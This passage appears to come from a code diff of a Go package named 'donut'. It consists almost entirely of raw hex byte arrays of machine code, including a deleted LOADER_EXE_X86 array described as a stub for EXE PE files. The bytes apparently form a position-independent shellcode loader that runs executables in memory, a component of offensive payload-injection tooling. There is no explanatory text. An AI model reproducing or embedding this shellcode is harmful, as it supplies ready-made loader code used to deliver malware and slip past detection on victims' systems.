0x41, 0x33, 0xc9, 0xc1, 0xca, 0x08, 0x41, 0x03, 0xd1, 0x41, 0xc1, 0xc0,
|
||||
0x03, 0x41, 0x33, 0xd2, 0x41, 0xc1, 0xc1, 0x03, 0x44, 0x33, 0xca, 0x44,
|
||||
0x33, 0xc1, 0x41, 0xff, 0xc2, 0x41, 0x8b, 0xdb, 0x44, 0x8b, 0xd8, 0x41,
|
||||
0x83, 0xfa, 0x1b, 0x72, 0xcd, 0x89, 0x4c, 0x24, 0x28, 0x44, 0x89, 0x44,
|
||||
0x24, 0x2c, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x83, 0xc4, 0x10, 0x5b,
|
||||
0xc3, 0xcc, 0xcc, 0xcc, 0x45, 0x85, 0xc9, 0x0f, 0x84, 0x44, 0x01, 0x00,
|
||||
0x00, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10,
|
||||
0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x78, 0x20, 0x55, 0x48, 0x8b, 0xec,
|
||||
0x48, 0x83, 0xec, 0x10, 0x4c, 0x8b, 0xd9, 0x48, 0x8d, 0x45, 0xf0, 0x4c,
|
||||
0x2b, 0xd8, 0x48, 0x8d, 0x72, 0x0f, 0x49, 0x8b, 0xd8, 0x41, 0xbf, 0x10,
|
||||
0x00, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xf0, 0x48, 0x3b, 0xc6, 0x77, 0x13,
|
||||
0x48, 0x8d, 0x45, 0xff, 0x48, 0x3b, 0xc2, 0x72, 0x0a, 0x0f, 0x10, 0x02,
|
||||
0xf3, 0x0f, 0x7f, 0x45, 0xf0, 0xeb, 0x08, 0x0f, 0x10, 0x02, 0xf3, 0x0f,
|
||||
0x7f, 0x45, 0xf0, 0x48, 0x8d, 0x4d, 0xf0, 0x41, 0xb8, 0x04, 0x00, 0x00,
|
||||
0x00, 0x41, 0x8b, 0x04, 0x0b, 0x31, 0x01, 0x48, 0x8d, 0x49, 0x04, 0x49,
|
||||
0x83, 0xe8, 0x01, 0x75, 0xf0, 0x44, 0x8b, 0x45, 0xfc, 0x49, 0x8b, 0xff,
|
||||
0x8b, 0x45, 0xf8, 0x44, 0x8b, 0x55, 0xf4, 0x8b, 0x4d, 0xf0, 0x41, 0x03,
|
||||
0xca, 0x41, 0x03, 0xc0, 0x41, 0xc1, 0xc2, 0x05, 0x44, 0x33, 0xd1, 0x41,
|
||||
0xc1, 0xc0, 0x08, 0x44, 0x33, 0xc0, 0xc1, 0xc1, 0x10, 0x41, 0x03, 0xc2,
|
||||
0x41, 0x03, 0xc8, 0x41, 0xc1, 0xc2, 0x07, 0x41, 0xc1, 0xc0, 0x0d, 0x44,
|
||||
0x33, 0xd0, 0x44, 0x33, 0xc1, 0xc1, 0xc0, 0x10, 0x48, 0x83, 0xef, 0x01,
|
||||
0x75, 0xcc, 0x44, 0x89, 0x45, 0xfc, 0x44, 0x8d, 0x47, 0x04, 0x89, 0x4d,
|
||||
0xf0, 0x48, 0x8d, 0x4d, 0xf0, 0x44, 0x89, 0x55, 0xf4, 0x89, 0x45, 0xf8,
|
||||
0x42, 0x8b, 0x04, 0x19, 0x31, 0x01, 0x48, 0x8d, 0x49, 0x04, 0x49, 0x83,
|
||||
0xe8, 0x01, 0x75, 0xf0, 0x45, 0x3b, 0xcf, 0x41, 0x8b, 0xc9, 0x41, 0x0f,
|
||||
0x47, 0xcf, 0x85, 0xc9, 0x74, 0x1c, 0x4c, 0x8d, 0x55, 0xf0, 0x8b, 0xf9,
|
||||
0x4c, 0x2b, 0xd3, 0x4c, 0x8b, 0xc3, 0x43, 0x8a, 0x04, 0x02, 0x41, 0x30,
|
||||
0x00, 0x49, 0xff, 0xc0, 0x48, 0x83, 0xef, 0x01, 0x75, 0xf0, 0x44, 0x2b,
|
||||
0xc9, 0x8b, 0xc1, 0x48, 0x03, 0xd8, 0x45, 0x8b, 0xc7, 0x41, 0x8d, 0x40,
|
||||
0xff, 0x80, 0x04, 0x10, 0x01, 0x75, 0x08, 0x41, 0xff, 0xc8, 0x45, 0x85,
|
||||
0xc0, 0x7f, 0xee, 0x45, 0x85, 0xc9, 0x0f, 0x85, 0x07, 0xff, 0xff, 0xff,
|
||||
0x48, 0x8b, 0x5c, 0x24, 0x20, 0x48, 0x8b, 0x74, 0x24, 0x28, 0x48, 0x8b,
|
||||
0x7c, 0x24, 0x30, 0x4c, 0x8b, 0x7c, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x10,
|
||||
0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48,
|
||||
0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55,
|
||||
0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x40, 0x8a, 0x01, 0x41, 0x83, 0xce,
|
||||
0xff, 0x83, 0x65, 0xf4, 0x00, 0x45, 0x33, 0xc9, 0x88, 0x02, 0x33, 0xff,
|
||||
0x48, 0x8d, 0x42, 0x01, 0x48, 0x8b, 0xda, 0x48, 0x89, 0x45, 0xe8, 0x45,
|
||||
0x8b, 0xde, 0x48, 0x8d, 0x41, 0x01, 0x48, 0x89, 0x45, 0xe0, 0x8d, 0x77,
|
||||
0x01, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0xf6, 0x01, 0x00, 0x00, 0x85, 0xc0,
|
||||
0x0f, 0x84, 0xaa, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0xe5,
|
||||
0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x9f, 0x00, 0x00, 0x00, 0x48,
|
||||
0x8d, 0x4d, 0xe0, 0xe8, 0xd4, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x4e,
|
||||
0x45, 0x33, 0xc9, 0x45, 0x8d, 0x51, 0x04, 0x48, 0x8d, 0x4d, 0xe0, 0xe8,
|
||||
0xc0, 0x01, 0x00, 0x00, 0x46, 0x8d, 0x0c, 0x48, 0x44, 0x2b, 0xd6, 0x75,
|
||||
0xee, 0x45, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x8b, 0x55, 0xe8, 0x48, 0x8b,
|
||||
0xc2, 0x41, 0x8b, 0xc9, 0x48, 0x2b, 0xc1, 0x8a, 0x00, 0x88, 0x02, 0x48,
|
||||
0x03, 0xd6, 0x48, 0x89, 0x55, 0xe8, 0xe9, 0x6b, 0x01, 0x00, 0x00, 0x48,
|
||||
0x8b, 0x45, 0xe8, 0xc6, 0x00, 0x00, 0x48, 0x03, 0xc6, 0x48, 0x89, 0x45,
|
||||
0xe8, 0xe9, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xe0, 0x44, 0x0f,
|
||||
0xb6, 0x18, 0x48, 0x03, 0xc6, 0x41, 0x8b, 0xcb, 0x48, 0x89, 0x45, 0xe0,
|
||||
0x23, 0xce, 0x83, 0xc1, 0x02, 0x41, 0xd1, 0xeb, 0x74, 0x21, 0x48, 0x8b,
|
||||
0x55, 0xe8, 0x45, 0x8b, 0xc3, 0x49, 0xf7, 0xd8, 0x41, 0x8a, 0x04, 0x10,
|
||||
0x88, 0x02, 0x48, 0x03, 0xd6, 0x41, 0x03, 0xce, 0x75, 0xf2, 0x48, 0x89,
|
||||
0x55, 0xe8, 0xe9, 0xfc, 0x00, 0x00, 0x00, 0x8b, 0xfe, 0xe9, 0xf5, 0x00,
|
||||
0x00, 0x00, 0x44, 0x8b, 0xd6, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0x32, 0x01,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x4d, 0xe0, 0x46, 0x8d, 0x14, 0x50, 0xe8, 0x25,
|
||||
0x01, 0x00, 0x00, 0x85, 0xc0, 0x75, 0xe6, 0x45, 0x85, 0xc9, 0x75, 0x48,
|
||||
0x41, 0x83, 0xfa, 0x02, 0x75, 0x42, 0x44, 0x8b, 0xce, 0x48, 0x8d, 0x4d,
|
||||
0xe0, 0xe8, 0x0a, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xe0, 0x46, 0x8d,
|
||||
0x0c, 0x48, 0xe8, 0xfd, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x75, 0xe6, 0x45,
|
||||
0x85, 0xc9, 0x0f, 0x84, 0xa7, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe8,
|
||||
0x41, 0x8b, 0xd3, 0x48, 0xf7, 0xda, 0x8a, 0x04, 0x0a, 0x88, 0x01, 0x48,
|
||||
0x03, 0xce, 0x45, 0x03, 0xce, 0x75, 0xf3, 0xe9, 0x87, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8b, 0x4d, 0xe0, 0x44, 0x33, 0xce, 0x45, 0x2b, 0xd1, 0x44, 0x8b,
|
||||
0xce, 0x41, 0xc1, 0xe2, 0x08, 0x44, 0x0f, 0xb6, 0x19, 0x41, 0x81, 0xc3,
|
||||
0x00, 0xfe, 0xff, 0xff, 0x45, 0x03, 0xda, 0x48, 0x03, 0xce, 0x48, 0x89,
|
||||
0x4d, 0xe0, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0xa5, 0x00, 0x00, 0x00, 0x48,
|
||||
0x8d, 0x4d, 0xe0, 0x46, 0x8d, 0x0c, 0x48, 0xe8, 0x98, 0x00, 0x00, 0x00,
|
||||
0x85, 0xc0, 0x75, 0xe6, 0x41, 0x81, 0xfb, 0x00, 0x7d, 0x00, 0x00, 0x41,
|
||||
0x8d, 0x41, 0x01, 0x41, 0x0f, 0x42, 0xc1, 0x41, 0x81, 0xfb, 0x00, 0x05,
|
||||
0x00, 0x00, 0x8d, 0x48, 0x01, 0x0f, 0x42, 0xc8, 0x41, 0x81, 0xfb, 0x80,
|
||||
0x00, 0x00, 0x00, 0x44, 0x8d, 0x41, 0x02, 0x44, 0x0f, 0x43, 0xc1, 0x45,
|
||||
0x85, 0xc0, 0x74, 0x1b, 0x48, 0x8b, 0x4d, 0xe8, 0x41, 0x8b, 0xd3, 0x48,
|
||||
0xf7, 0xda, 0x8a, 0x04, 0x0a, 0x88, 0x01, 0x48, 0x03, 0xce, 0x45, 0x03,
|
||||
0xc6, 0x75, 0xf3, 0x48, 0x89, 0x4d, 0xe8, 0x44, 0x8b, 0xce, 0xeb, 0x1d,
|
||||
0x48, 0x8b, 0x55, 0xe0, 0x48, 0x8b, 0x4d, 0xe8, 0x8a, 0x02, 0x88, 0x01,
|
||||
0x48, 0x03, 0xce, 0x48, 0x03, 0xd6, 0x48, 0x89, 0x4d, 0xe8, 0x48, 0x89,
|
||||
0x55, 0xe0, 0x45, 0x33, 0xc9, 0x85, 0xff, 0x0f, 0x84, 0x20, 0xfe, 0xff,
|
||||
0xff, 0x8b, 0x45, 0xe8, 0x48, 0x8b, 0x74, 0x24, 0x58, 0x2b, 0xc3, 0x48,
|
||||
0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x60, 0x4c, 0x8b, 0x74,
|
||||
0x24, 0x68, 0x48, 0x83, 0xc4, 0x40, 0x5d, 0xc3, 0x8b, 0x51, 0x14, 0x4c,
|
||||
0x8b, 0xc1, 0x8d, 0x42, 0xff, 0x89, 0x41, 0x14, 0x85, 0xd2, 0x75, 0x17,
|
||||
0x48, 0x8b, 0x01, 0x0f, 0xb6, 0x10, 0x48, 0xff, 0xc0, 0x48, 0x89, 0x01,
|
||||
0x8b, 0xc2, 0xc7, 0x41, 0x14, 0x07, 0x00, 0x00, 0x00, 0xeb, 0x03, 0x8b,
|
||||
0x41, 0x10, 0x8d, 0x0c, 0x00, 0xc1, 0xe8, 0x07, 0x83, 0xe0, 0x01, 0x41,
|
||||
0x89, 0x48, 0x10, 0xc3, 0x4c, 0x8b, 0xc9, 0x45, 0x85, 0xc0, 0x74, 0x13,
|
||||
0x48, 0x2b, 0xd1, 0x42, 0x8a, 0x04, 0x0a, 0x41, 0x88, 0x01, 0x49, 0xff,
|
||||
0xc1, 0x41, 0x83, 0xc0, 0xff, 0x75, 0xf0, 0x48, 0x8b, 0xc1, 0xc3, 0xcc,
|
||||
0x48, 0x89, 0x7c, 0x24, 0x08, 0x4c, 0x8b, 0xc9, 0x8a, 0xc2, 0x49, 0x8b,
|
||||
0xf9, 0x41, 0x8b, 0xc8, 0xf3, 0xaa, 0x48, 0x8b, 0x7c, 0x24, 0x08, 0x49,
|
||||
0x8b, 0xc1, 0xc3, 0xcc, 0xeb, 0x0f, 0x80, 0x3a, 0x00, 0x74, 0x10, 0x3a,
|
||||
0x02, 0x75, 0x0c, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc2, 0x8a, 0x01, 0x84,
|
||||
0xc0, 0x75, 0xeb, 0x0f, 0xbe, 0x01, 0x0f, 0xbe, 0x0a, 0x2b, 0xc1, 0xc3};
|
||||
|
||||
-802
@@ -1,802 +0,0 @@
|
||||
package donut
|
||||
|
||||
// LOADER_EXE_X86 - stub for EXE PE files
|
||||
var LOADER_EXE_X86 = []byte{
|
||||
|
||||
0x81, 0xec, 0xcc, 0x02, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8b, 0xb4, 0x24,
|
||||
0xdc, 0x02, 0x00, 0x00, 0x33, 0xdb, 0x57, 0x8b, 0xfb, 0x8b, 0x86, 0x38,
|
||||
0x02, 0x00, 0x00, 0x0b, 0x86, 0x3c, 0x02, 0x00, 0x00, 0x0f, 0x84, 0xd4,
|
||||
0x00, 0x00, 0x00, 0xff, 0x76, 0x2c, 0xff, 0x76, 0x28, 0xff, 0xb6, 0x8c,
|
||||
0x00, 0x00, 0x00, 0xff, 0xb6, 0x88, 0x00, 0x00, 0x00, 0x56, 0xe8, 0x40,
|
||||
0x20, 0x00, 0x00, 0x8b, 0xf8, 0x83, 0xc4, 0x14, 0x85, 0xff, 0x0f, 0x84,
|
||||
0xaa, 0x00, 0x00, 0x00, 0x53, 0x53, 0x56, 0xe8, 0x21, 0x20, 0x00, 0x00,
|
||||
0x8b, 0xc8, 0xb8, 0x20, 0x21, 0x40, 0x00, 0x2d, 0x75, 0x30, 0x40, 0x00,
|
||||
0x03, 0xc8, 0x51, 0x53, 0x53, 0xff, 0xd7, 0xff, 0x76, 0x2c, 0x8b, 0xf8,
|
||||
0xff, 0x76, 0x28, 0xff, 0xb6, 0xbc, 0x01, 0x00, 0x00, 0xff, 0xb6, 0xb8,
|
||||
0x01, 0x00, 0x00, 0x56, 0xe8, 0xfe, 0x1f, 0x00, 0x00, 0xff, 0x76, 0x2c,
|
||||
0x8b, 0xe8, 0xff, 0x76, 0x28, 0xff, 0xb6, 0x94, 0x00, 0x00, 0x00, 0xff,
|
||||
0xb6, 0x90, 0x00, 0x00, 0x00, 0x56, 0xe8, 0xe4, 0x1f, 0x00, 0x00, 0xff,
|
||||
0x76, 0x2c, 0x8b, 0xd8, 0xff, 0x76, 0x28, 0xff, 0xb6, 0x9c, 0x00, 0x00,
|
||||
0x00, 0xff, 0xb6, 0x98, 0x00, 0x00, 0x00, 0x56, 0xe8, 0xca, 0x1f, 0x00,
|
||||
0x00, 0x83, 0xc4, 0x3c, 0x85, 0xed, 0x74, 0x46, 0x85, 0xdb, 0x74, 0x42,
|
||||
0x85, 0xc0, 0x74, 0x3e, 0x8d, 0x4c, 0x24, 0x10, 0xc7, 0x44, 0x24, 0x10,
|
||||
0x07, 0x00, 0x01, 0x00, 0x51, 0xff, 0xd0, 0x50, 0xff, 0xd3, 0x8b, 0x86,
|
||||
0x38, 0x02, 0x00, 0x00, 0x83, 0xa4, 0x24, 0xd4, 0x00, 0x00, 0x00, 0xfc,
|
||||
0x89, 0x84, 0x24, 0xc8, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x10, 0x6a,
|
||||
0x00, 0x50, 0xff, 0xd5, 0xeb, 0x0c, 0x83, 0xc8, 0xff, 0xeb, 0x09, 0x56,
|
||||
0xe8, 0x1f, 0x10, 0x00, 0x00, 0x59, 0x8b, 0xc7, 0x5f, 0x5e, 0x5d, 0x5b,
|
||||
0x81, 0xc4, 0xcc, 0x02, 0x00, 0x00, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x83,
|
||||
0xc0, 0x04, 0xf0, 0xff, 0x00, 0x8b, 0x00, 0xc2, 0x04, 0x00, 0xb8, 0x01,
|
||||
0x40, 0x00, 0x80, 0xc2, 0x08, 0x00, 0x56, 0x57, 0xe8, 0x48, 0x1f, 0x00,
|
||||
0x00, 0x8b, 0x74, 0x24, 0x10, 0xb9, 0x9d, 0x11, 0x40, 0x00, 0xbf, 0x75,
|
||||
0x30, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8,
|
||||
0x2d, 0x1f, 0x00, 0x00, 0xb9, 0x0f, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03,
|
||||
0xc8, 0x8b, 0x06, 0x89, 0x48, 0x04, 0xe8, 0x1a, 0x1f, 0x00, 0x00, 0xb9,
|
||||
0xfc, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48,
|
||||
0x08, 0xe8, 0x07, 0x1f, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b,
|
||||
0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x0c, 0xe8, 0xf4, 0x1e, 0x00,
|
||||
0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
|
||||
0x5f, 0x89, 0x48, 0x10, 0x8b, 0x44, 0x24, 0x08, 0x83, 0x66, 0x04, 0x00,
|
||||
0x89, 0x46, 0x08, 0x5e, 0xc3, 0x8b, 0x4c, 0x24, 0x0c, 0x85, 0xc9, 0x75,
|
||||
0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x4d, 0x53, 0x8b, 0x5c, 0x24,
|
||||
0x0c, 0x33, 0xd2, 0x56, 0x8b, 0x74, 0x24, 0x0c, 0x57, 0x8b, 0x7e, 0x08,
|
||||
0x8b, 0x84, 0x97, 0xf4, 0x05, 0x00, 0x00, 0x3b, 0x04, 0x93, 0x75, 0x08,
|
||||
0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, 0xeb, 0x14, 0x33, 0xd2, 0x8b, 0x84,
|
||||
0x97, 0xb4, 0x06, 0x00, 0x00, 0x3b, 0x04, 0x93, 0x75, 0x10, 0x42, 0x83,
|
||||
0xfa, 0x04, 0x75, 0xee, 0x89, 0x31, 0xf0, 0xff, 0x46, 0x04, 0x33, 0xc0,
|
||||
0xeb, 0x08, 0x83, 0x21, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e,
|
||||
0x5b, 0xc2, 0x0c, 0x00, 0x8b, 0x4c, 0x24, 0x04, 0x83, 0xc8, 0xff, 0xf0,
|
||||
0x0f, 0xc1, 0x41, 0x04, 0x48, 0xc2, 0x04, 0x00, 0x33, 0xc0, 0xc2, 0x08,
|
||||
0x00, 0x55, 0x8b, 0xec, 0xf6, 0x45, 0x10, 0x02, 0x56, 0x8b, 0x75, 0x08,
|
||||
0x57, 0x74, 0x15, 0x8b, 0x7d, 0x18, 0x85, 0xff, 0x74, 0x1b, 0x8b, 0x46,
|
||||
0x1c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x04, 0x8b, 0x46, 0x1c, 0x89, 0x07,
|
||||
0xf6, 0x45, 0x10, 0x01, 0x74, 0x19, 0x8b, 0x7d, 0x14, 0x85, 0xff, 0x75,
|
||||
0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x0d, 0x83, 0xc6, 0x14, 0x56,
|
||||
0x8b, 0x06, 0xff, 0x50, 0x04, 0x89, 0x37, 0x33, 0xc0, 0x5f, 0x5e, 0x5d,
|
||||
0xc2, 0x14, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x40, 0x2c, 0xff, 0x50,
|
||||
0x54, 0x8b, 0x4c, 0x24, 0x08, 0x89, 0x01, 0x33, 0xc0, 0xc2, 0x08, 0x00,
|
||||
0x56, 0x57, 0xe8, 0xfe, 0x1d, 0x00, 0x00, 0x8b, 0x74, 0x24, 0x10, 0xb9,
|
||||
0xae, 0x13, 0x40, 0x00, 0xbf, 0x75, 0x30, 0x40, 0x00, 0x2b, 0xcf, 0x03,
|
||||
0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8, 0xe3, 0x1d, 0x00, 0x00, 0xb9, 0x0f,
|
||||
0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x04,
|
||||
0xe8, 0xd0, 0x1d, 0x00, 0x00, 0xb9, 0xfc, 0x11, 0x40, 0x00, 0x2b, 0xcf,
|
||||
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x08, 0xe8, 0xbd, 0x1d, 0x00, 0x00,
|
||||
0xb9, 0x5b, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89,
|
||||
0x48, 0x0c, 0xe8, 0xaa, 0x1d, 0x00, 0x00, 0xb9, 0x11, 0x12, 0x40, 0x00,
|
||||
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x10, 0xe8, 0x97, 0x1d,
|
||||
0x00, 0x00, 0xb9, 0x0c, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b,
|
||||
0x06, 0x89, 0x48, 0x14, 0xe8, 0x84, 0x1d, 0x00, 0x00, 0xb9, 0xa9, 0x13,
|
||||
0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x18, 0xe8,
|
||||
0x71, 0x1d, 0x00, 0x00, 0xb9, 0x0c, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03,
|
||||
0xc8, 0x8b, 0x06, 0x89, 0x48, 0x1c, 0xe8, 0x5e, 0x1d, 0x00, 0x00, 0xb9,
|
||||
0x5e, 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48,
|
||||
0x20, 0xe8, 0x4b, 0x1d, 0x00, 0x00, 0xb9, 0x59, 0x13, 0x40, 0x00, 0x2b,
|
||||
0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x24, 0xe8, 0x38, 0x1d, 0x00,
|
||||
0x00, 0xb9, 0x59, 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
|
||||
0x5f, 0x89, 0x48, 0x28, 0x8b, 0x44, 0x24, 0x08, 0x83, 0x66, 0x04, 0x00,
|
||||
0x89, 0x46, 0x2c, 0x5e, 0xc3, 0x33, 0xc0, 0xc2, 0x04, 0x00, 0x55, 0x8b,
|
||||
0xec, 0x83, 0xec, 0x2c, 0x33, 0xc0, 0x56, 0x6a, 0x20, 0x50, 0x89, 0x45,
|
||||
0xf4, 0x89, 0x45, 0xf8, 0x89, 0x45, 0xfc, 0x8d, 0x45, 0xd4, 0x50, 0xe8,
|
||||
0x95, 0x21, 0x00, 0x00, 0x8b, 0x75, 0x0c, 0x8d, 0x4d, 0xd4, 0x83, 0xc4,
|
||||
0x0c, 0x8b, 0x06, 0x51, 0x56, 0xff, 0x50, 0x0c, 0x85, 0xc0, 0x75, 0x12,
|
||||
0x8b, 0x06, 0x8d, 0x4d, 0xfc, 0x51, 0x8d, 0x4d, 0xf8, 0x51, 0x8d, 0x4d,
|
||||
0xf4, 0x51, 0x56, 0xff, 0x50, 0x10, 0x33, 0xc0, 0x5e, 0xc9, 0xc2, 0x08,
|
||||
0x00, 0x33, 0xc0, 0xc2, 0x0c, 0x00, 0x8b, 0x4c, 0x24, 0x0c, 0x85, 0xc9,
|
||||
0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x6c, 0x8b, 0x54, 0x24,
|
||||
0x04, 0x53, 0x8b, 0x5c, 0x24, 0x0c, 0x56, 0x57, 0x8b, 0x7a, 0x2c, 0x33,
|
||||
0xf6, 0x8b, 0x84, 0xb7, 0xf4, 0x05, 0x00, 0x00, 0x3b, 0x04, 0xb3, 0x75,
|
||||
0x08, 0x46, 0x83, 0xfe, 0x04, 0x75, 0xee, 0xeb, 0x14, 0x33, 0xf6, 0x8b,
|
||||
0x84, 0xb7, 0xa4, 0x06, 0x00, 0x00, 0x3b, 0x04, 0xb3, 0x75, 0x0e, 0x46,
|
||||
0x83, 0xfe, 0x04, 0x75, 0xee, 0x89, 0x11, 0xf0, 0xff, 0x42, 0x04, 0xeb,
|
||||
0x1d, 0x33, 0xf6, 0x8b, 0x84, 0xb7, 0xb4, 0x06, 0x00, 0x00, 0x3b, 0x04,
|
||||
0xb3, 0x75, 0x13, 0x46, 0x83, 0xfe, 0x04, 0x75, 0xee, 0x8d, 0x42, 0x08,
|
||||
0x89, 0x01, 0xf0, 0xff, 0x42, 0x0c, 0x33, 0xc0, 0xeb, 0x08, 0x83, 0x21,
|
||||
0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e, 0x5b, 0xc2, 0x0c, 0x00,
|
||||
0x8b, 0x44, 0x24, 0x18, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc2, 0x18, 0x00,
|
||||
0x8b, 0x44, 0x24, 0x04, 0x0f, 0xaf, 0x44, 0x24, 0x08, 0xc3, 0x8b, 0x44,
|
||||
0x24, 0x14, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc2, 0x14, 0x00, 0x8b, 0x44,
|
||||
0x24, 0x04, 0x03, 0x44, 0x24, 0x08, 0xc3, 0x51, 0x53, 0x56, 0x8b, 0x74,
|
||||
0x24, 0x10, 0x8d, 0x86, 0x58, 0x03, 0x00, 0x00, 0x50, 0xff, 0x56, 0x30,
|
||||
0x8b, 0xd8, 0x85, 0xdb, 0x75, 0x06, 0x40, 0xe9, 0xc5, 0x00, 0x00, 0x00,
|
||||
0x55, 0x57, 0x8d, 0x86, 0xc0, 0x05, 0x00, 0x00, 0x50, 0x53, 0xff, 0x56,
|
||||
0x34, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xaa, 0x00, 0x00, 0x00, 0xbf,
|
||||
0x38, 0x14, 0x40, 0x00, 0x81, 0xef, 0x2c, 0x14, 0x40, 0x00, 0x0f, 0x88,
|
||||
0x99, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57,
|
||||
0x55, 0xff, 0x56, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00,
|
||||
0x57, 0xe8, 0xbf, 0x1b, 0x00, 0x00, 0xb9, 0x2c, 0x14, 0x40, 0x00, 0x81,
|
||||
0xe9, 0x75, 0x30, 0x40, 0x00, 0x03, 0xc1, 0x50, 0x55, 0xe8, 0x23, 0x20,
|
||||
0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff, 0x74,
|
||||
0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x8d, 0x86, 0xd0, 0x05, 0x00,
|
||||
0x00, 0x50, 0x53, 0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x74, 0x49,
|
||||
0xbf, 0x4e, 0x14, 0x40, 0x00, 0xbb, 0x42, 0x14, 0x40, 0x00, 0x2b, 0xfb,
|
||||
0x78, 0x3b, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57, 0x55, 0xff,
|
||||
0x56, 0x48, 0x85, 0xc0, 0x74, 0x2b, 0x57, 0xe8, 0x65, 0x1b, 0x00, 0x00,
|
||||
0x81, 0xeb, 0x75, 0x30, 0x40, 0x00, 0x03, 0xc3, 0x50, 0x55, 0xe8, 0xce,
|
||||
0x1f, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff,
|
||||
0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x33, 0xc0, 0x40, 0xeb,
|
||||
0x02, 0x33, 0xc0, 0x5f, 0x5d, 0x5e, 0x5b, 0x59, 0xc3, 0x51, 0x53, 0x56,
|
||||
0x8b, 0x74, 0x24, 0x10, 0x8d, 0x86, 0x64, 0x03, 0x00, 0x00, 0x50, 0xff,
|
||||
0x56, 0x30, 0x8b, 0xd8, 0x85, 0xdb, 0x75, 0x06, 0x40, 0xe9, 0xc5, 0x00,
|
||||
0x00, 0x00, 0x55, 0x57, 0x8d, 0x86, 0x70, 0x05, 0x00, 0x00, 0x50, 0x53,
|
||||
0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xaa, 0x00, 0x00,
|
||||
0x00, 0xbf, 0x50, 0x30, 0x40, 0x00, 0x81, 0xef, 0xa9, 0x13, 0x40, 0x00,
|
||||
0x0f, 0x88, 0x99, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a,
|
||||
0x40, 0x57, 0x55, 0xff, 0x56, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00,
|
||||
0x00, 0x00, 0x57, 0xe8, 0xd9, 0x1a, 0x00, 0x00, 0xb9, 0xa9, 0x13, 0x40,
|
||||
